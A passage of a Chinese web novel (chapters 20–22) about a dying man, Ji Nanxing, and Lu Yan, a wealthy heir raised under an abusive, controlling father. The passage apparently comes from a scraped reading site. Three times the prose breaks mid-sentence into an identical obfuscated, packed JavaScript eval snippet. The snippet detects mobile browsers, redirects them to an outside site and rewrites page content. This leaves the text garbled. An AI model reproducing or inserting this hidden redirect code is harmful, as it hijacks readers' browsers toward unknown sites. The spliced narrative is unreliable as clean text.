他按熄了屏幕,挣扎了好一会,才转过身来,“好吧,你应该也知道的,陆宴这个人,性子冷,面瘫,还慢热,家庭背景摆在这,他也很难有什么朋友。” 季南星当然懂这个道理,但张医生欲言又止的,蹙起眉,犹豫了好一会,才压低了声音说:“但他起初不是这样的。你可能不知道……他从小生活的环境,有点变态。” 陆家是最早在北美站稳脚跟的华人家庭,百余年来,华务集团历经三代人交到陆宴手里,已然发展成一个庞然大物。 可以说,陆宴是在两个顶级财阀家庭、三代人的期许下长大的。 他一生严格按照继承人的规格培养。 少年时期在英国顶级公校度过,跟某某总统的儿子打网球,和某某国王的教女共进晚餐……人物简报看上去比纪录片还精彩。 在石桥镇闲聊的时候,季南星曾说笑地调侃过一嘴,但那时陆宴神色淡淡,甚至算得上厌倦。 新闻媒体说得天花乱坠的少年时期,落到陆宴口中,只剩下“没意思”三个字。 集会没意思,赛艇没意思,社团没意思,辩论也没意思。 既要应付社团和晚会,还要学很多语言,上很多不同类型的课,更要分出时间完成陆志华交给他的公司管理课程。 作为顶级家庭的继承人,他身上的压力可想而知。 但张昊却缓慢摇了摇头。 他关了游戏,收起吊儿郎当的神色,少见地正经。 “要是真的只是这样就好了。” “我第一次见陆宴,应该是8岁吧。他母亲和我母亲交好,每年暑期他都会陪白阿姨回国。大人们玩大人的,小孩们都玩在一块……那会陆宴还在学中文,说得不太好,他从小就是很冷的性格,话也少。” “一起玩的小孩,有几个滑头的看不惯,总去招惹他。”张昊回忆道:“陆家地位高,大概是不想小孩太拘束,大人把他的身份藏得很好,大家也不知道他是陆志华的儿子。” 话说到这,季南星大概猜到后面的故事走向。 果不其然,张昊话音一转,“有个二代惯爱惹事,以为他就是普通背景,带着一帮小弟拿石头往他身上砸,边砸边骂,笑话他是美国来的哑巴,话都不会说半句。” 季南星心里猛地一沉,忙道:“大人这都不管吗?” “管了。管家很快过来,小孩子各回各家。” 闹剧结束,陆宴全程没有开口说一句话。 他好像不觉得疼,也不觉得生气,一双黑沉沉的眼睛盯着闹事的人,却没有一丝情绪波动。 就像……一个精致的假人。 没有情绪、也感知不到痛苦。 “后来那个二代家里也过得不太好。他们家准备拓展海外业务,那个小石头一砸,把合作项目也砸没了。” 季南星不觉得有什么不对:“自己家的孩子欺负人在先,付出相应的代价,这很合理。” 张昊瞥了他一眼,像是早预料他会这么说一样:“你以为是陆宴告状,他们才倒霉的吗?” 他摇着头,顿了一会才说,“不是他。” 陆宴回去什么也没说,但花园里的佣人、管家一字一句地转达给陆志华。 二代家丢了项目书,陆宴也好不到哪儿去,他提前结束了自己的暑期假,被陆志华带回国,当天晚上的飞机走。 十天后,陆宴回来了,他脑袋缠着纱布,脸上也划了几道伤痕。 张昊诧异地问他,陆宴神色平淡,还是那副表情,冷清道:“我父亲打的。” “陆志华有近乎变态的控制欲。” 张昊沉声说:“陆宴遇见什么人,做了什么事,跟谁说了什么话,上一秒刚说完,下一秒就会被汇报给陆志华。他身边的佣人、管家,甚至只见过一次的陌生人,任何一个人都很可能是陆志华安插的监督者。 从小到大,只要陆宴做出不符合陆志华预期的行为,都会被严令喊回美国,用各种暴力的非暴力的手段,训练到他成为合格的继承人为止。” “很病态,对吧?”他低低笑了声,声音轻了些:“这还不是最病态的。” “那会,我家养了很多狗狗。我心想,人他不爱搭理,小动物总行吧。” “有一回,我带他去花园里,刚巧一条亲人的小金毛见人就扑上来。那条小狗才6个月大,很乖,脑袋很圆。我跟陆宴说,它叫lucy,是个很阳光的乖孩子,我让他摸一摸,但是……” 话音顿住。 张昊脸上浮现前所未有的严谨和冷肃。 季南星心口猛地一坠,不安的预感扩散,“然后呢?” 张昊看了他一眼,声音低沉下来。 “他哭了。”《 》 20. 第20章 陆宴哭起来没有声音,也没有表情。 黑曜石一样的眼睛生理性地流着泪,却看不出一点悲伤。 像一个程序出错的机器人,身体识别到主人的痛苦做出生理反应,大脑的感知系统却被封闭住。 他哭,却不知道自己为什么会哭。 那之后,张昊才从母亲的口中得知,陆宴养过一条小狗。 是他6岁那年,白老爷子送给他的生日礼物——一条3个月大的伯恩山。 那时陆宴还有一点小孩气,奶胖的小小的一只伯恩山满别墅闹,6岁的陆宴追在它后面跑。 有女仆拿着针线给小伯恩山做衣服。 暖洋洋的日光洒下来,陆宴静静在一边看着,一边摸小狗圆圆的脑袋。 不久后,陆志华回来了。 未完工的小狗衣服丢进了垃圾桶。 自那以后,陆宴没再见过那个女仆,当然也没再见过那条小小的伯恩山。 陆志华近乎病态地掌控他的生活,严格规划他的每一个选择。 大部分时候,陆宴并没有作为“人”的基本感情,他只是陆志华生下来的机器。 给机器装上最顶尖的零件,输入最高端的指令和知识,设定好程序,就能让这架机器在既定的道路上毫不质疑地完成任务。 机器说什么话,做出什么反应,都应该严格按照要求进行。 一旦有所偏离,惩罚就会立刻落下。 长久规训下来,陆宴成了十足听话的机器人,管家安排的日程上写着什么,他就做什么。 不该说的话一句也不说,不应见的人也不多看一眼,就算被人举着石头砸,他下意识的反应依然是,这不是他该回应的事。 “他自我封闭了很多年,年少养成的惯性刻在骨子里。说实话,我认识他这么多年,到现在,我也分不清,到底他这个性格有几分是为了迎合陆志华装的,有几分是他真实的本性。” 张昊沉声说着,“这么多年,他还是没什么朋友,也没什么亲近的人。” 他顿了顿,复杂地瞥了季南星一眼,“所以他对你那么上心……其实我还挺意外的。” 一时接收了巨量信息,季南星脑子艰难地运转,思绪还没理清,胸口却堵得厉害。 他突兀地想起陆宴到他病房里的第二天。 那时,陆宴问他:“一个人的感情,为什么可以因为另一个人的存在变得那么浓烈。” 当时季南星觉得他有病。 如今看来,陆宴或许真的有创伤。 从小严格克制自己的真实情绪,用冷漠和孤僻武装自己,对着谁都是淡漠和疏离。他是不近人情,他是真的不懂如何表达和理解人类的情感。 两个月前,季南星还纳闷,他只是许桓众多前男友中的一个,平平无奇,也谈不上什么特殊,可陆宴却不管不顾地介入他的生活,容不下一丝抗拒。 现在,他终于知道答案了。 都是陆志华的儿子,许桓走上了一条和陆宴截然不同的路。 许桓的前半生跌宕艰难,认回陆家后,却颓丧、堕落,纸醉金迷、放浪形骸。 他能在纽约花心约P约出丑闻,也能因为失恋放荡酗酒,寻死觅活。他肆意地爱、肆意地恨,放声大哭,高声抢地,所有人都指责他一事无成。 但没有人会干涉他的爱恨,没有人会阻碍他的哭喊,也没人会说,“许桓,这不是你该做的事。” 感情封闭了一辈子的孤独患者,骤然见到跟自己截然不同的许桓,于是报复性地、好奇而执着地想在“许桓的前男友”身上找到答案。 简单、离奇又诡异的理由。 说实话,很不符合常理,但季南星居然完全能理解。 只是,在理解之余,他竟然奇怪地松了口气。 陆宴留在他身边的原因终于明晰,之前的暧昧和亲吻也终于得到解答。 一切和季南星最担心的事情毫不相干。 陆宴不喜欢他,更不可能爱他。 他只是陆宴选中的一个观察样本,是他尝试感知人类情感的实验对象。 爱、恨、喜欢、难过、关心、排他性、占有欲……像一个被打开的潘多拉魔盒,这些从前不被允许的真实情绪喷涌出来,陆宴需要一个出口。 他就是陆宴选择的那个出口。 * 陆宴离开的第三天早晨,季南星眼前再次陷入昏暗。 “第三个月,反反复复也是有的。这段时间,身体情况会越来越差,你们……要有心理预期。” 医生话说得委婉,季南星坐在床上,没有焦距的眼底没有慌乱,他平静地抬着眼,比病房里所有人都镇静。 “我还能再活多久?” 医生翻着病历本的手猛地一顿,他行医多年,也见过很多癌症晚期的病患,哭天抢地的,发疯怒骂的……都是常有的事。 但鲜少有人像这个年轻人一样,平静、镇定,好像死亡才是既定的结局,丝毫不乱。 他叹了口气,道:“你最近的情况还算稳定,按照这个治疗计划……应该能坚持到八月底。” “八月啊。”季南星喃喃重复着,攥紧了被子,又问:“九月份,可以吗?” “这……” “医生,有没有什么方法,能让我活到九月份?” 医生面露难色,解释道:“已经到了晚期,骤然更换治疗方案,效果不见得会好,甚至很可能会适得其反。” 季南星放在被子里的手攥了攥,好一会,才松了手,礼貌地朝医生微笑道:“知道了,谢谢您。” 医生推门离开,一旁的张昊看见他落寞的模样,没忍心看他消沉,便安慰道:“你是为了那个画展吗?陆宴已经把画拿回来了,就放在海滨广场的展览厅,这事他没跟你说吗?” 季南星虚弱地笑了笑,缓慢地摇着头。 他呆呆地看着空气中的某个点,想事情想得出神,柔和的侧脸在夕阳浅金色的余晖里,像发着温和的光。 许久,他缓慢地垂下眼,轻声说:“不是为了画展。” “九月份,九月份有什么……” 话没说完,张昊猛地话音一顿。 季南星还浅浅地笑着,只是失焦的眼底没有染上一丝笑意,他眼底像一湾深不见底的湖水,明明那么平静,可轻轻一眼扫过来,却好像含着绵长的、没有尽头的悲伤。 九月中旬,是陆宴的生日。 季南星突然想起最初陆宴递给他的医疗计划。 要是当初真的听陆宴的话,早一点积极治疗,或许真的能活到九月中旬,真的能帮陆宴过一次生日。 久违的,季南星竟然感到难过和遗憾。 他这辈子父母双亡,亲缘淡泊,跟朋友同事关系也算不上好。原以为自己赤条条地来,也能无牵无挂地走。 可临到头,不能给陆宴过一次生日,他竟然觉得遗憾。 季南星不合时宜地想起那天“醉酒”的吻。 他不知道陆宴为什么吻他。 或许是一时冲动,也或许是他一次新鲜的“感情实验”。 季南星从来不做无谓的幻想。 那天晚上,他游移过,后悔过,也愧疚过。 但现在,他突然不这么想了。 他摸了摸干涩的下唇,突然一点都不后悔了。 他不后悔这个初吻。 他不后悔和陆宴接吻。 * 陆宴的生日礼物,季南星一早就挑好了,是一对蓝宝石袖扣。 深蓝色的钻石切割成方形,在灯光下闪着暗色的光,很低调,却矜贵,很适合陆宴。 珠宝品牌定制时间很长,季南星打了电话询问。 客服告诉他,定制珠宝至少要等半年,如果有相熟的sales ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046597|194745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮忙,或许可以缩短时长。 季南星一穷二白,交好的朋友没几个,富二代朋友更是没有。真要说的话,前男友算一个,但给前男友他哥准备生日礼物,求前男友帮忙,怎么看怎么诡异。 犹豫了半天,季南星的电话打给了徐青。 徐青家庭条件好,办公室那几个不学无术的二代曾经提起过,徐青戴的手表袖扣,都出自这个品牌。 电话接通,徐青听到他的声音也很诧异。 季南星讲明自己的请求,电话那头沉默了许久,久到他以为西北的信号又出了问题。 “徐工?听得到吗?” “听到。”徐青低声应着,“是要给他的吗?给那位……陆先生?” “……嗯。” 话筒里传来一声低沉自嘲的笑。 “这个牌子需要定制,VIC才能加急。但这种小事不过是陆家人一句话的事。南星,与其找我,不如直接找他帮忙。” 季南星停顿了会,才说:“不太方便。他要生日了,就在下个月,我等不了那么久。师兄,我想走之前给他准备一份生日礼物。我活不到那个时候,但至少礼物可以给他。” 电话那头又是一阵沉默。 “师弟。” 徐青的声音再次响起来,有些沙哑:“我从前以为你对谁都一样,平平淡淡,礼貌客气,看上去温柔好说话,可每一次,每一次谁想再靠近你一点,又会被你轻描淡写地推开。” 他顿了顿,像叹了口气。 “原来不是没人走得进去,只是碰巧,我们都不行。” * 八月份的第二天,陆宴回来了。 季南星的眼睛依然没有恢复,但对他脚步声的捕捉能力没有退步。 但是罕见地,他没有抬头,也没有主动出声。 过了三天没有陆宴的、眼盲的日子,季南星已经能自己在黑暗里给自己倒热水,进食,配药,动作缓慢,但确实可行。 离开了六天,陆宴再回来,只见到一个冷漠的、抗拒的季南星。 一切好像回到五月底。 回到陆宴刚到病房的时候。 季南星客气、礼貌,扯着虚弱的笑回拒他递过去的水杯,婉拒他喂药的动作。 他自己掀开被子起身,甚至脚步都站不稳,却固执地摸着墙壁,在桌边站定,摸出药瓶,颤着手倒出药片,缓慢地吃完药,无声地像陆宴证明: 他自己也可以过得很好。 陆宴的存在无关紧要。 有几回,陆宴刚进门,季南星明明抱着平板听书,一听见他的脚步声,身体便肉眼可见地僵住。 不出三秒,他便摘下耳机,垂下眼,抱歉道:“有点困了,我睡会吧。” 他整个人窝进被子里,翻过身,只留给陆宴一个瘦削的背影。 和最初在医院相见时的场景,一模一样。 陆宴对季南星有种说不出的纵容,也对他从不怀疑。 他察觉季南星的异常,或许是自欺欺人,他从不愿意将这种异常与自己挂钩,只固执地忽略那些抗拒的信号。 季南星睡着,他便照常安静地在一旁办公,有会议或电话进来,就轻手轻脚地出门去。 有时,季南星看着他离开的背影,胸口堵得厉害,比发病时还要刺痛酸胀。 陆宴依然孜孜不倦陪着他。 季南星回避,却也没再劝他回公司。 从某种程度上来说,他们是共犯。 唯一的不同是,陆宴对此一无所知。 而季南星对自己的罪行供认不讳。 在加重刑罚和及时止损之间,季南星毫无疑问选择了后者。 长达一周的回避,饶是对他毫不怀疑的陆宴也察觉出不对。 他再一次推脱后,陆宴终于攥住他往回缩的手腕。 “季南星,你为什么躲着我。” 21. 第21章 为什么。 季南星眨了眨眼,眼前陆宴的身影依然只是一团看不清的灰。 他往回抽回手,没挣开,陆宴攥得很紧。 尽管看不见,季南星也猜得到对方会露出什么样的表情。 朝夕相处了两个月,就像陆宴对季南星的喜好全然掌握一样,季南星也同样。 陆宴惯常没什么表情,英俊的脸上总是沉静淡漠。但偶尔,头疼的时候,两道眉峰会稍微前压,给人一种难以忽视的压迫感。 就像这在,他微微蹙着眉,嘴角下沉,周身气质瞬间冷了下来。 “你不愿意见我,为什么?” 他抿紧了唇,眼底有些受伤。 但季南星看不见,他只听到陆宴微冷的声音,以及那压低的声线里,隐藏得很好的委屈。 心脏像被攥紧了一样,疼得他心里猛的一坠。 他嘴唇动了动,克制好情绪,才缓慢道:“我自己也可以把自己照顾得很好。从前麻烦了你很多,以后……我自己也可以。” 话音一出,僵持的气氛瞬间冷了下来。 屋里没有开灯,今天是阴天,室内灰暗,连带着陆宴的影子也暗了几个度,落在季南星眼底,只看到一片模糊的黑。 陆宴许久没有说话,两人离得很近,他身上冷香钻进季南星鼻息,很清淡的味道,像挂在枝头上的雪。 半晌,陆宴颤抖的声音响起。 “季南星。”他说:“你在赶我走?” 季南星眼睫颤了颤,喉口被挤压得说不出一句话。 他缓了许久,想让自己的声音听上去足够自然,只是一开口,依然干涩得不像样。 “你有你该做的事情,不该在我这里浪费时间。”他停顿了会,艰难地说下去:“我活不了多久,医生说,到时候样子不太好看,我想自己一个人走。” “是吗。” 陆宴平静无波的声音传过来,季南星垂在一侧的手慢慢攥紧,指尖掐着掌心,他恍然未觉。 一分钟的沉默。 陆宴攥着季南星的手依然没有放开,却放松了力度。 他似乎走近了一点,声音靠近,听得见呼吸。 “是因为我没有请假吗。” 陆宴快速说着,季南星第一次听见他这样着急的语速,甚至称得上慌乱。 “美国项目吃紧,十几个小时的时差,我确实腾不开时间。下次再出差,我会规划好时间,做得比这次更好。” 季南星低垂着眼,心里酸涩,却没敢回应一句,生怕一开口就暴露心里的难过。 陆宴固执地看着他沉静的侧脸,嘴唇突然有些抖。 “还是,因为我越了界。” 手上的力度松开了,陆宴放开了他。季南星站在原地,感觉到一道黑影就在眼前。 陆宴黑沉的眼睛一错不错地望着他,“是因为我越了界,对吗。” 灼热的眼神不会因为失明而变得温和,季南星对这种眼神不陌生。 他躲避似的后退了半步,险险跌坐在床铺上。 黑影跟着一起压过来,靠近的呼吸落在他上方,下巴被轻轻抬起,季南星猛地别过头。 他闭了闭眼,轻声道:“陆宴,你又喝醉了。” 身上人动作一顿,而后强势地压下来。 “陆——!” 下唇被含住咬了一口,陆宴的呼吸落在他侧脸上。 “季南星,我很清醒。” 他俯身抵在季南星肩上,像某种被抛弃的大型犬一样轻蹭,委屈道:“我没喝酒,也没醉,我很清楚自己在做什么。” 季南星推拒的手抵在他胸前,有力而规律的心脏跳动声顺着手掌传来。 他眼底黯了黯,“陆宴,这里不是你该来的地方。” 眼盲的这些天,他一个人想了很多。 陆宴一生感情封闭,这辈子,没有谁真正走进过他的内心,听过他真实的想法。 一个克制的、被世俗和家庭压得喘不过气的溺水者,艳羡另一个人潇洒而痛快的爱恨,于是下意识地不甘、好奇,想为那种真实而激涌的感情找到答案。 像个把感情锁起来的木头人。 陆宴在等一把钥匙,可钥匙就在他自己手里。 他只是等一个契机,或许季南星刚巧是那个契机,于是木头人自己拿到了钥匙,自己解开了枷锁。 现在,枷锁解开,契机也不再重要。 季南星只是拿到钥匙的前置条件,至于枷锁解开以后,那些汹涌的、封闭了多年的情感要涌向哪里,都与他无关。 陆宴以后还会遇到很多人,会喜欢,也会爱上很多人。男人或者女人,都不重要,这些季南星都无缘得见。 也幸好,他什么都无缘得见。 他轻轻推开陆宴坐起来,声音和动作一样轻。 “陆宴,你该回到你正常的生活里了。” 陆宴抱着他的手猛的一僵,“你想说什么。” 季南星抬起眼,“我陪不了你多久,可能哪天睡着,再也醒不过来。” 他缓慢地眨了眨眼睛,失去亮光的眼睛茫然地睁着。 “我只是许桓的某个一任前男友,可能你觉得有些新奇,但也没什么不同。我们本来也不该有什么交集。陆宴,你在我身上浪费的时间足够多了,别再坚持做没意义的事情。” 身上的黑影渐渐远去,连带那股令人无法忽视的压迫感也散开了。 陆宴定定看着他没有一丝破绽的脸,“季南星,你不想见我。” “我……”季南星下意识想反驳。 可临到头,挽留的话却卡在喉口,一个字都没说出来。 风吹起室内的薄纱,乌云散开,几缕日光从阳台投进来,落在季南星颤抖的眼睫上。 谁也没再出声,如果不是逐渐靠近的呼吸声,季南星甚至以为陆宴已经走了。 发凉的手被握住,季南星迷蒙地望过去。 陆宴将他冰凉的手指握到唇边吻了吻,服软似的开口道:“为什么不愿意见我,是我做错了什么吗。” 当然没有。 陆宴什么也没有做错。 相反。 他做得比任何人都完美。 足够体贴,足够用心,比世界上任何一个医护人员都要尽心尽职,挑不出一点错。 错的是季南星。 错在他时日不多的寿命,错在他临死之前竟然生出了不敢承认的妄想。 他缓慢而坚定地抽回了手,低垂着头,笃定而冷漠地说:“陆宴,算了吧。” 可话音一落,刚抽走的手又被不依不饶地握回去。 “算不了。”陆宴说:“季南星,我不是徐青,你赶不走我。” 手被牢牢攥着,季南星又听见他说:“我时间很多,也足够有钱,你觉得没有意义的事情,是我觉得世界上最重要的事。” “只要看着你,一切都不算浪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046598|194745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 费。” 季南星嘴唇张了张,一股很难说清的感受就像潮水一样慢慢涌起来,经久不衰。 他是个感知正常的人类,年少时有过爱慕的人,成年后有过一段短暂的恋爱,对这种酸胀的感觉并不陌生。 但他也是个有良知的成年人,他命不久矣,三个月过得那么快,他只剩下不到半个月的时间。 活了24年,他从来没有被坚定地选择过。曾经他也幼稚地期盼过某个人坚定的爱,肖雯的、许桓的……只可惜,两样都落了空。 而现在,从前最想要的感情摆在他面前,明晃晃的没有一丝动摇,他却不得不把对方推开。 强烈的不甘心和巨大的悲伤涌上来,绝望几乎将他淹没,连同那一道他不敢认领、不敢辨别的情绪一同涌现,几乎要他呼吸不上来。 他闭了闭眼,不知道是说服自己,还是说服对方,沉声道: “你还会遇见很多人的,你的人生还那么长,天地还那么广阔,你总会找到更重要的、更有意义的事情。” 他轻轻反握住陆宴的手,像宽慰一样,“我没有多少时间了,陆宴,我不想你太难过。” 他说得很温柔,却比当时拒绝徐青时的说辞还要让人难受。 尽管陆宴有千万份不想承认,但季南星说得是对的,明晃晃的事实摆在眼前,他也无力反驳。 季南星会死去,但他会继续活着,活在一个没有季南星的世界里,甚至,或许有一天,连关于季南星的记忆也会被时间淡化、夺取。 老天爷没有给他们任何选择。 天父连十分钟的好人都不愿意扮演。 门外传来急切的敲门声,大概响了很久,只是僵持的两人都无心去应对。 陆宴还固执地抱着季南星不放,像粘人的大型犬,固执有力,怎么推也推不走。 “有人来了……” 陆宴不情不愿地松开他,难得生动郁闷地啧了一声。 “进来。” 原以为是护工阿姐或者张昊,却不料门口进来一个穿着西服的陌生男人。 对方胸前别着金属铭牌,客气地朝两人颔首,礼貌道:“请问,哪位是季先生?是徐先生差我来的。” 陆宴原本烦闷的脸色一下变得难看。 他沉声问:“哪位徐先生。” “额……徐青,徐先生。” 陆宴嘴角上勾了一点弧度,轻得像没有,冷冷扯出一声笑。 季南星猜到对方的身份,大概是那个珠宝品牌的sales。 他点了点头,道:“我是。你进来说吧。” sales为难地扫了屋内的两人,有些局促地应了声。 气氛尴尬,他不确定地开口:“那我们是直接开始?” 陆宴没有回避,也没有出声,绷着一张俊脸,没给出一点好脸色。 季南星看不见,却也感觉得到,他抬着眼看向陆宴的位置,眼神示意。 陆宴却跟接收不到似的,脚步没有挪动。 再次僵持不下。 季南星抿了抿唇,心下一沉,说:“陆总,您先出去吧。” 话音一落,身侧人猛地僵住。 陆宴抬起眼:“你喊我什么?” 季南星说不出口了。 沉默了半晌。 “季南星。” 陆宴不带一丝感情的声音再次响起。 “你是真的不想见我了,是吗。” 22. 第22章 这次吵架过后,陆宴没有再来,也没在手机上跟季南星请假。 孜孜不倦报道了一个多月的人,第一次无假缺席。 他没来,但张医生来了。 张昊为难地杵在门口,嘟囔道:“我一个心内科的,天天跑你这,我都不知道我来干嘛。” 他试探地问了句:“你们吵架了?” “算是吧,您先坐。”季南星虚弱地朝他笑道。 张昊头疼得脑袋都要掉了。 季南星状态看上去很差,嘴唇没有一丝血色,脸色比最严重的时候还要难看得多。 他从抽屉里拿出一个精致的信封,微笑道:“张医生,我想请你帮一个忙。” 灰色的信封镶着淡金色的边,中间印着某个奢侈品牌的Logo。 是一个珠宝腕表出名的牌子。 作为二世祖,张昊对这个牌子当然不陌生,但季南星家境一般,甚至算得上贫困,怎么会消费这些东西。 他疑惑地打开,里头是一张收据,一对宝石袖扣的收据。 收据的验收人是张昊,付款ID却是季南星的账户。 “张医生,我撑不到九月份了。” 季南星缓慢轻柔地开口:“本来想自己给他的,但也没什么机会。提前给他,我怕他难过,到时候,以你的名义送给他吧。” 到那时候,距离他去世应该也有大半个月。 陆宴那么坚强的一个人,半个月的时间,应该足够他缓过来。 就算有十万分地想亲手送给陆宴礼物,可一想到自己这个将死之人送礼会让陆宴想起自己的死亡,季南星就不忍心。 不能给陆宴过生日他已经足够遗憾了。 他不希望自己的死亡会让陆宴的生日更糟糕难过。 轻飘飘一个信封拿在手里,张昊默默听完,眼眶也酸起来。 他出生在医学世家,见过很多生死。 明明医生最看淡生死大事,可如今看着季南星平静微笑的脸,张昊却感到胸口发堵,像被巨石压着,逼仄得喘不过气。 他嘴巴张了张,干涩道:“我……我会交给他。我不会说是我准备的,也不会透露是你送的,但我会确保这份礼物全须全尾交到他手上。” 季南星嘴角扬了扬,眼睛微微弯着,如释重负似的舒了口气。 “张医生,谢谢你。” 张昊听着这一声感谢,心里的涩意又重了不少。 临别前,他终究不忍心,又折返回来,斟酌道:“虽然你说你们吵架了。但是陆宴那个人,他轻易不生气的。他这两天没过来,只是因为真的太忙了。” 他顿了顿,才说:“他最近过得……不太好。” * 陆宴确实忙得不可开交。 公司堆积的事务文件垒起来像山一样杵着,他熬了两个通宵批完。人还没喘口气,又接到美国项目方的催促,回完了邮件,陆志华的电话便马不停蹄打进来。 电话内容言简意赅。 许桓又出事了。 两个月前,许桓喝得烂醉,在高速上醉驾逆行把自己撞进ICU。好不容易抢救回来,人才醒半天,立马摘了留置针,拄着拐杖非要出院找季南星。 毫不意外,又重重摔了一跤,病情加重,在ICU躺了半个多月才躺回来。 前两天,许桓转进普通病房,马上又闹着要出院,医护人员按不住,电话打到陆志华那,陆志华什么事也不管,全部交给陆宴处理。 陆宴本来心情就差,看见许桓,更给不出什么好脸色。 嫌他丢人现眼,陆宴差人把他打包去德国看骨科,并勒令病好全之前,不能让他踏出欧盟一步。 许桓自然不乐意,在病房大闹一场,“我是他男朋友,我们之间只是有点误会,只要说清楚就好了,他不可能舍得跟我分手的!” 陆宴冷冷看着他发疯,道:“他不想见你。” “他爱我,他喜欢我这么多年。他只是生气了,我知道,他就是这样,越是在意,越是表现得不在意。” 许桓沉迷在自己幻想的爱意里,狂热地说着:“哥,你不了解他,他那个性格……只有死缠烂打才管用,我已经耽误了两个月,再不去哄他回来,他就真的要生气了。” “哥,我没求过你别的事情。就这个……我求你,让我见他一面吧……” 一声声哭喊,没有得到回应。 陆宴平静无波的目光落在许桓领口的项链上。 是一个航天模型的缩小迷你版。 在徐青带来的画稿里,陆宴看过这条项链的设计稿。 许桓被两个医护人员架着,这张跟陆宴有五分像的脸上如今满是乞求,只为能再见季南星一面。 “哥,我求你了真的,我只想再见见他……”他孜孜不倦地请求:“就这一次……这个世界上,只有他爱我,只有他真的爱过我……” 许桓夹带私货的请求异常刺耳。 陆宴将他领口的项链拽下来,在许桓含泪的目光里,平静道:“他或许曾经爱过你,现在也不爱了。” “别去他面前碍眼。” 他冷静地回拒许桓的一切请求,混乱的现场交给一众保镖和男护士。 手里攥着那条项链,陆宴头也不回地离开闹事现场。 当天晚上,陆宴约了于晨喝酒。 他主动约了人,却什么也没说。 于晨识趣,这些天陆宴每天到点上班,久违出现在公司里,猜也猜到是什么事。 陆宴酒量不错,混着喝了大半夜,却没真的醉,只是微醺。 于晨让司机把人送回家,陆宴靠在窗边,眼底却没有一丝醉意,黝黑的瞳仁在黑沉的夜里亮得惊人。 他似乎思索着什么,过了会,才低声道:“去医院。” * 季南星没想到陆宴会喝成这样。 于晨把人塞过来的时候,他甚至不敢认。 浓郁的酒味涌进鼻腔,季南星忍了好久才没当即把陆宴扔在地上。 他是个半瞎的,虽然眼睛恢复了一点,但看东西依然隔着一层雾。眼前人影晃动,轮廓模糊,一个人摸索的时候还好,如今身上多压着一个成年男人,每一步都像踩在棉花上。 他架着陆宴往床边走,膝盖撞到床沿,一个踉跄,整个人往前扑。身下床垫塌陷,陆宴跟着跌下来,手一捞,不留神,他竟被陆宴拽进怀里,结结实实压在身下。 热气扑在脸上,带着酒后的腥甜。季南星眼睫一颤,却没动。陆宴的呼吸落在他眼尾,一下一下,有些烫。 酒精麻痹了思维,陆宴久违地放肆自己的视线黏在季南星身上。 他抓着季南星微凉的手贴在自己脸上,“季南星,你真的不想见我吗。” 这声音带着酒后的喑哑,低沉沉的,像沉闷的大提琴。 季南星叹了口气,“陆宴,你这次真的醉了。” 陆宴当然没醉,但季南星想要他醉,他可以醉。 他放肆地贴着季南星的手,整张脸埋在他手心,额头抵着他的指尖,浓密的睫毛眨了眨,扫得季南星手心发麻。 季南星试着抽了抽手,却又被攥得更紧。 “可是我想见你,很想。”陆宴低声道。 心脏在快速地跳动,季南星感受手心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046599|194745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的呼吸,久违的悸动又一次缠上来。 明明他这辈子最讨厌烟味酒味,但因为喝醉的人是陆宴,他就可以无底线地忍让再忍让。 他轻轻地推了推,柔声地劝着:“别闹,先去洗澡。” 好在陆宴虽然醉着,却也没醉得彻底,至少让他去洗澡,他还算配合。 浴室传来淅淅沥沥的水声,季南星摸索着在衣柜里翻找,想辨认出最大码病号服的领标。 刚翻出一件,身后却突然贴上一个温热的躯体。 水珠从发梢滴落,砸在他后颈,顺着瘦削的锁骨滑进去,隐没在衣领里。 陆宴从后面抱住他,头埋在他侧脖颈,湿发贴着他的皮肤,又凉又痒。 手里被塞进一个细小的金属片,季南星艰难地辨认着,才勉强摸出来是一个航天模型。 “你给许桓做的。” 身后传来低哑的带着磁性的男声,陆宴双手紧紧抱着他,身上酒味散了大半,只剩下几缕红酒味跟沐浴露混在一起,很淡,不算难闻。 “季南星,你真的爱过他。”他声音沉下去,又夹了几分委屈,像是控诉。 这条项链是研究所内部开发的纪念品,季南星参与过设计,提过一些意见,算不上是他做的。 季南星皱着眉,担心许桓又喝酒发疯,“他又跟你胡说了什么?” “他说你爱他,很爱。” 手臂猛地收紧,陆宴呼吸骤然加重,眼底也黯下去。 “可是我不喜欢他这么说。” 他牵着季南星的手把人转过来,四目相对,如果季南星看得见,就会发现眼前的人眼底没有一丝醉意,清明的眼睛深沉贪婪地看着他,没有一丝遮掩。 他低头,吻落在季南星眼尾,轻而柔,却带着不容抗拒的执拗。 “季南星,说你不爱他,你不爱他。” 季南星闭着眼。 